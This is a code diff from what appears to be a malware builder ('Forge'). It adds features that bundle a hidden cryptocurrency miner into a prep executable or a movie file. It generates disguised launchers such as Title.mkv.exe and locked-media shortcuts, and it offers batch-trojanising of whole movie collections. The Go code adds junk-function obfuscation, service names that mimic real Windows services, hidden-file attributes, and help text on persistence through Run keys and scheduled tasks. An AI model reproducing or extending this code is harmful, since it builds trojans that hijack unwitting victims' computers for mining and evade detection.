func generateDeadFunc(name string, rng *mrand.Rand) string {
|
||||||
|
ops := 4 + rng.Intn(6)
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
|
||||||
|
for i := 0; i < ops; i++ {
|
||||||
|
switch rng.Intn(4) {
|
||||||
|
case 0:
|
||||||
|
b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
|
||||||
|
case 1:
|
||||||
|
b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
|
||||||
|
case 2:
|
||||||
|
b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
|
||||||
|
default:
|
||||||
|
b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b.WriteString("\treturn x & 0xffff\n}\n\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func randomBytes(rng *mrand.Rand, n int) []byte {
|
||||||
|
b := make([]byte, n)
|
||||||
|
for i := range b {
|
||||||
|
b[i] = byte(rng.Intn(256))
|
||||||
|
}
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func randomIdent(rng *mrand.Rand, n int) string {
|
||||||
|
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||||
|
out := make([]byte, n)
|
||||||
|
for i := range out {
|
||||||
|
out[i] = chars[rng.Intn(len(chars))]
|
||||||
|
}
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
func randomString(rng *mrand.Rand, n int) string {
|
||||||
|
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
|
||||||
|
out := make([]byte, n)
|
||||||
|
for i := range out {
|
||||||
|
out[i] = chars[rng.Intn(len(chars))]
|
||||||
|
}
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
func pickServiceMasquerade(seed string) (serviceName, donor string) {
|
||||||
|
profiles := []struct{ name, donor string }{
|
||||||
|
{"WinrmHostSvc", "WinRM"},
|
||||||
|
{"WcmsvcWorker", "Wcmsvc"},
|
||||||
|
{"DhcpMonitorHost", "Dhcp"},
|
||||||
|
{"DnscacheSync", "Dnscache"},
|
||||||
|
{"EventLogFwd", "EventLog"},
|
||||||
|
{"LanmanWorkstationMgr", "LanmanWorkstation"},
|
||||||
|
{"RpcEptMapperHost", "RpcEptMapper"},
|
||||||
|
{"ScheduleHostSvc", "Schedule"},
|
||||||
|
{"ShellHWDetectionMon", "ShellHWDetection"},
|
||||||
|
{"TrkWksHost", "TrkWks"},
|
||||||
|
}
|
||||||
|
h := fnv.New32a()
|
||||||
|
_, _ = h.Write([]byte(seed))
|
||||||
|
idx := int(h.Sum32()) % len(profiles)
|
||||||
|
if idx < 0 {
|
||||||
|
idx = -idx
|
||||||
|
}
|
||||||
|
p := profiles[idx]
|
||||||
|
return p.name, p.donor
|
||||||
|
}
|
||||||
13
server/internal/builder/shortcut_stub.go
Normal file
13
server/internal/builder/shortcut_stub.go
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
func createMovieLockShortcut(_, _, _, _ string) error {
|
||||||
|
return fmt.Errorf("movie lock shortcuts require Windows forge host")
|
||||||
|
}
|
||||||
|
|
||||||
|
func setHiddenFile(_ string) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
48
server/internal/builder/shortcut_windows.go
Normal file
48
server/internal/builder/shortcut_windows.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
|
||||||
|
lnkPath, _ = filepath.Abs(lnkPath)
|
||||||
|
targetExe, _ = filepath.Abs(targetExe)
|
||||||
|
workDir := filepath.Dir(targetExe)
|
||||||
|
if iconLocation == "" {
|
||||||
|
iconLocation = `%SystemRoot%\System32\imageres.dll,196`
|
||||||
|
}
|
||||||
|
lnkEsc := escapePS(lnkPath)
|
||||||
|
targetEsc := escapePS(targetExe)
|
||||||
|
workEsc := escapePS(workDir)
|
||||||
|
iconEsc := escapePS(iconLocation)
|
||||||
|
argsEsc := escapePS(arguments)
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
|
||||||
|
lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
|
||||||
|
)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func setHiddenFile(path string) error {
|
||||||
|
path, _ = filepath.Abs(path)
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
|
||||||
|
escapePS(path),
|
||||||
|
)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||||
|
return cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func escapePS(s string) string {
|
||||||
|
return strings.ReplaceAll(s, "'", "''")
|
||||||
|
}
|
||||||
@@ -81,6 +81,8 @@ export const api = {
|
|||||||
},
|
},
|
||||||
|
|
||||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||||
|
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||||||
|
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
|
||||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||||
|
|
||||||
// Blueprints (config presets)
|
// Blueprints (config presets)
|
||||||
|
|||||||
@@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
|
|||||||
a.remove();
|
a.remove();
|
||||||
URL.revokeObjectURL(objectUrl);
|
URL.revokeObjectURL(objectUrl);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Alias used by Forge auto-download and DownloadButton. */
|
||||||
|
export const downloadApiFile = downloadAuthedFile;
|
||||||
|
|||||||
33
server/web/src/components/DownloadButton.tsx
Normal file
33
server/web/src/components/DownloadButton.tsx
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
import { useState, type ReactNode } from 'react';
|
||||||
|
import { downloadApiFile } from '../api/download';
|
||||||
|
|
||||||
|
type Props = {
|
||||||
|
apiPath: string;
|
||||||
|
filename: string;
|
||||||
|
className?: string;
|
||||||
|
children: ReactNode;
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Click to save an API file to the browser Downloads folder. */
|
||||||
|
export default function DownloadButton({ apiPath, filename, className, children }: Props) {
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
|
||||||
|
const handleClick = async (e: React.MouseEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
if (busy) return;
|
||||||
|
setBusy(true);
|
||||||
|
try {
|
||||||
|
await downloadApiFile(apiPath, filename);
|
||||||
|
} catch (err) {
|
||||||
|
window.alert(err instanceof Error ? err.message : 'Download failed');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<button type="button" className={className} onClick={handleClick} disabled={busy}>
|
||||||
|
{busy ? 'Downloading…' : children}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
fusion_enabled: false,
|
fusion_enabled: false,
|
||||||
fusion_run_order: 'parallel',
|
fusion_run_order: 'parallel',
|
||||||
fusion_output_name: 'prep.exe',
|
fusion_output_name: 'prep.exe',
|
||||||
|
fusion_payload_kind: 'exe',
|
||||||
|
fusion_media_mode: 'paired',
|
||||||
|
fusion_media_base_name: '',
|
||||||
|
fusion_export_subdir: '',
|
||||||
ai_enabled: false,
|
ai_enabled: false,
|
||||||
ai_ollama_endpoint: 'http://localhost:11434',
|
ai_ollama_endpoint: 'http://localhost:11434',
|
||||||
ai_model: 'llama3.2',
|
ai_model: 'llama3.2',
|
||||||
|
|||||||
20
server/web/src/help/fusionMedia.ts
Normal file
20
server/web/src/help/fusionMedia.ts
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||||
|
if (!file?.name) return false;
|
||||||
|
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function fusionTitleFromFilename(name: string): string {
|
||||||
|
const base = name.replace(/^.*[/\\]/, '');
|
||||||
|
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function defaultRunnerName(mediaName: string): string {
|
||||||
|
const title = fusionTitleFromFilename(mediaName);
|
||||||
|
return `${title}-runner.exe`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function defaultEmbeddedName(mediaName: string): string {
|
||||||
|
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||||
|
const title = fusionTitleFromFilename(mediaName);
|
||||||
|
return `${title}${ext}.exe`;
|
||||||
|
}
|
||||||
@@ -68,10 +68,16 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
||||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
fusion_enabled:
|
||||||
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||||
fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
|
fusion_run_order:
|
||||||
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||||
|
fusion_prep:
|
||||||
|
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||||
|
fusion_media_mode:
|
||||||
|
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||||
|
fusion_output_name:
|
||||||
|
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||||
|
|||||||
@@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
|||||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||||
|
import DownloadButton from '../components/DownloadButton';
|
||||||
|
import { downloadApiFile } from '../api/download';
|
||||||
|
import {
|
||||||
|
isFusionVideoFile,
|
||||||
|
fusionTitleFromFilename,
|
||||||
|
defaultRunnerName,
|
||||||
|
defaultEmbeddedName,
|
||||||
|
} from '../help/fusionMedia';
|
||||||
import '../components/Fleet/FleetPanels.css';
|
import '../components/Fleet/FleetPanels.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
@@ -53,6 +61,15 @@ export default function BuilderPage() {
|
|||||||
const [showRecent, setShowRecent] = useState(false);
|
const [showRecent, setShowRecent] = useState(false);
|
||||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||||
|
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||||||
|
const [batchJob, setBatchJob] = useState<{
|
||||||
|
total: number;
|
||||||
|
current: number;
|
||||||
|
fileName: string;
|
||||||
|
phase: string;
|
||||||
|
percent: number;
|
||||||
|
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
||||||
|
} | null>(null);
|
||||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||||
const [estimateError, setEstimateError] = useState('');
|
const [estimateError, setEstimateError] = useState('');
|
||||||
@@ -117,6 +134,28 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||||
|
setLastBuild(result);
|
||||||
|
loadRecentBuilds();
|
||||||
|
const url = result.bundle_download_url || result.download_url;
|
||||||
|
const name = result.bundle_file_name || result.file_name;
|
||||||
|
if (url && name) {
|
||||||
|
try {
|
||||||
|
await downloadApiFile(url, name);
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Auto-download failed:', err);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (result.download_url && result.file_name) {
|
||||||
|
try {
|
||||||
|
await downloadApiFile(result.download_url, result.file_name);
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Auto-download failed:', err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// Blueprint: save current form as a named blueprint
|
// Blueprint: save current form as a named blueprint
|
||||||
const handleSaveBlueprint = async () => {
|
const handleSaveBlueprint = async () => {
|
||||||
if (!form) return;
|
if (!form) return;
|
||||||
@@ -176,8 +215,7 @@ export default function BuilderPage() {
|
|||||||
try {
|
try {
|
||||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
const result = await api.buildAgent(merged, fusionPrepFile);
|
||||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||||
setLastBuild(result);
|
await finishForgeSuccess(result);
|
||||||
loadRecentBuilds();
|
|
||||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
setError(err.message || 'Re-forge failed');
|
setError(err.message || 'Re-forge failed');
|
||||||
@@ -238,6 +276,127 @@ export default function BuilderPage() {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const applyFusionFileSelection = (f: File | null) => {
|
||||||
|
setFusionPrepFile(f);
|
||||||
|
if (!f) return;
|
||||||
|
setForm((prev) => {
|
||||||
|
if (!prev) return prev;
|
||||||
|
const video = isFusionVideoFile(f);
|
||||||
|
const mode = prev.fusion_media_mode || 'paired';
|
||||||
|
return {
|
||||||
|
...prev,
|
||||||
|
fusion_payload_kind: video ? 'video' : 'exe',
|
||||||
|
fusion_media_base_name: f.name,
|
||||||
|
fusion_output_name: video
|
||||||
|
? mode === 'embedded'
|
||||||
|
? defaultEmbeddedName(f.name)
|
||||||
|
: defaultRunnerName(f.name)
|
||||||
|
: f.name,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleBatchForgeMovies = async () => {
|
||||||
|
if (!form || fusionBatchFiles.length === 0) return;
|
||||||
|
setError('');
|
||||||
|
setLastBuild(null);
|
||||||
|
setBuilding(true);
|
||||||
|
const total = fusionBatchFiles.length;
|
||||||
|
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||||
|
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
||||||
|
let ok = 0;
|
||||||
|
try {
|
||||||
|
for (let i = 0; i < total; i++) {
|
||||||
|
const file = fusionBatchFiles[i];
|
||||||
|
const title = fusionTitleFromFilename(file.name);
|
||||||
|
const pct = Math.round((i / total) * 100);
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
current: i + 1,
|
||||||
|
fileName: file.name,
|
||||||
|
phase: 'building',
|
||||||
|
percent: pct,
|
||||||
|
log: j.log.map((row, idx) =>
|
||||||
|
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
const mode = form.fusion_media_mode || 'paired';
|
||||||
|
const req: BuildRequest = {
|
||||||
|
...form,
|
||||||
|
fusion_enabled: true,
|
||||||
|
fusion_payload_kind: 'video',
|
||||||
|
fusion_media_base_name: file.name,
|
||||||
|
fusion_export_subdir: title,
|
||||||
|
fusion_output_name:
|
||||||
|
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||||
|
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||||
|
};
|
||||||
|
const checks = runForgePreflight(req, true);
|
||||||
|
if (preflightHasErrors(checks)) {
|
||||||
|
throw new Error(`Preflight failed for ${file.name}`);
|
||||||
|
}
|
||||||
|
const result = await api.buildAgent(req, file);
|
||||||
|
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
phase: 'downloading',
|
||||||
|
log: j.log.map((row, idx) =>
|
||||||
|
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
await finishForgeSuccess(result);
|
||||||
|
ok++;
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
log: j.log.map((row, idx) =>
|
||||||
|
idx === i
|
||||||
|
? {
|
||||||
|
...row,
|
||||||
|
status: 'ok',
|
||||||
|
detail: result.fusion_export_dir
|
||||||
|
? `Saved → ${result.fusion_export_dir}`
|
||||||
|
: 'ZIP downloaded',
|
||||||
|
}
|
||||||
|
: row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
}
|
||||||
|
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||||
|
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||||
|
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||||
|
setFusionBatchFiles([]);
|
||||||
|
} catch (err: unknown) {
|
||||||
|
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||||||
|
setError(msg);
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
phase: 'error',
|
||||||
|
log: j.log.map((row) =>
|
||||||
|
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
setBuilding(false);
|
||||||
|
setTimeout(() => setBatchJob(null), 8000);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleSubmit = async (e: React.FormEvent) => {
|
const handleSubmit = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
if (!form) return;
|
if (!form) return;
|
||||||
@@ -256,8 +415,7 @@ export default function BuilderPage() {
|
|||||||
if (!result.success) {
|
if (!result.success) {
|
||||||
throw new Error(result.error || 'Build failed');
|
throw new Error(result.error || 'Build failed');
|
||||||
}
|
}
|
||||||
setLastBuild(result);
|
await finishForgeSuccess(result);
|
||||||
loadRecentBuilds();
|
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
setError(err.message || 'Build failed');
|
setError(err.message || 'Build failed');
|
||||||
} finally {
|
} finally {
|
||||||
@@ -298,6 +456,8 @@ export default function BuilderPage() {
|
|||||||
);
|
);
|
||||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||||
|
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||||
|
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||||
@@ -976,23 +1136,144 @@ export default function BuilderPage() {
|
|||||||
<>
|
<>
|
||||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||||
<div className="label-row">
|
<div className="label-row">
|
||||||
<label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
|
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||||
</div>
|
</div>
|
||||||
<input
|
<input
|
||||||
type="file"
|
type="file"
|
||||||
className="input"
|
className="input"
|
||||||
accept=".exe,application/octet-stream"
|
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
const f = e.target.files?.[0] || null;
|
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||||
setFusionPrepFile(f);
|
e.target.value = '';
|
||||||
if (f?.name) {
|
|
||||||
updateField('fusion_output_name', f.name);
|
|
||||||
}
|
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
{fusionPrepFile && (
|
{fusionPrepFile && (
|
||||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
<span className="form-hint">
|
||||||
|
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||||
|
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||||
|
</div>
|
||||||
|
{fusionIsVideo && (
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||||
|
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="radio"
|
||||||
|
className="checkbox"
|
||||||
|
name="fusion_media_mode"
|
||||||
|
checked={fusionMediaMode === 'embedded'}
|
||||||
|
onChange={() => {
|
||||||
|
updateField('fusion_media_mode', 'embedded');
|
||||||
|
if (fusionPrepFile) {
|
||||||
|
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<span>
|
||||||
|
<strong>Option A — Single file (embedded)</strong>
|
||||||
|
<FieldHint field="fusion_media_mode" />
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||||
|
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||||
|
Best when the file is under ~500MB.
|
||||||
|
</p>
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="radio"
|
||||||
|
className="checkbox"
|
||||||
|
name="fusion_media_mode"
|
||||||
|
checked={fusionMediaMode === 'paired'}
|
||||||
|
onChange={() => {
|
||||||
|
updateField('fusion_media_mode', 'paired');
|
||||||
|
if (fusionPrepFile) {
|
||||||
|
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<span>
|
||||||
|
<strong>Option B — Movie + runner (paired)</strong>
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||||
|
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||||
|
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||||
|
movie shows a lock message; only the runner decrypts and plays it.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
<div className="form-group">
|
||||||
|
<div className="label-row">
|
||||||
|
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="file"
|
||||||
|
className="input"
|
||||||
|
accept=".mp4,.mkv,.mov,video/*"
|
||||||
|
multiple
|
||||||
|
onChange={(e) => {
|
||||||
|
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||||
|
setFusionBatchFiles(list);
|
||||||
|
e.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
{fusionBatchFiles.length > 0 && (
|
||||||
|
<span className="form-hint">
|
||||||
|
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||||
|
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
{batchJob && (
|
||||||
|
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||||
|
<div className="batch-forge-header">
|
||||||
|
<span className="font-tech">BATCH FORGE</span>
|
||||||
|
<span>
|
||||||
|
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<div className="batch-progress-track">
|
||||||
|
<div
|
||||||
|
className="batch-progress-fill"
|
||||||
|
style={{ width: `${Math.min(100, batchJob.percent)}%` }}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
{batchJob.fileName && (
|
||||||
|
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||||
|
Current: <code>{batchJob.fileName}</code>
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
<ul className="batch-forge-log">
|
||||||
|
{batchJob.log.map((row) => (
|
||||||
|
<li key={row.name} className={`batch-log-${row.status}`}>
|
||||||
|
<span className="batch-log-icon">
|
||||||
|
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
||||||
|
</span>
|
||||||
|
<span>
|
||||||
|
{row.name}
|
||||||
|
{row.detail ? ` — ${row.detail}` : ''}
|
||||||
|
</span>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{fusionBatchFiles.length > 0 && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-secondary"
|
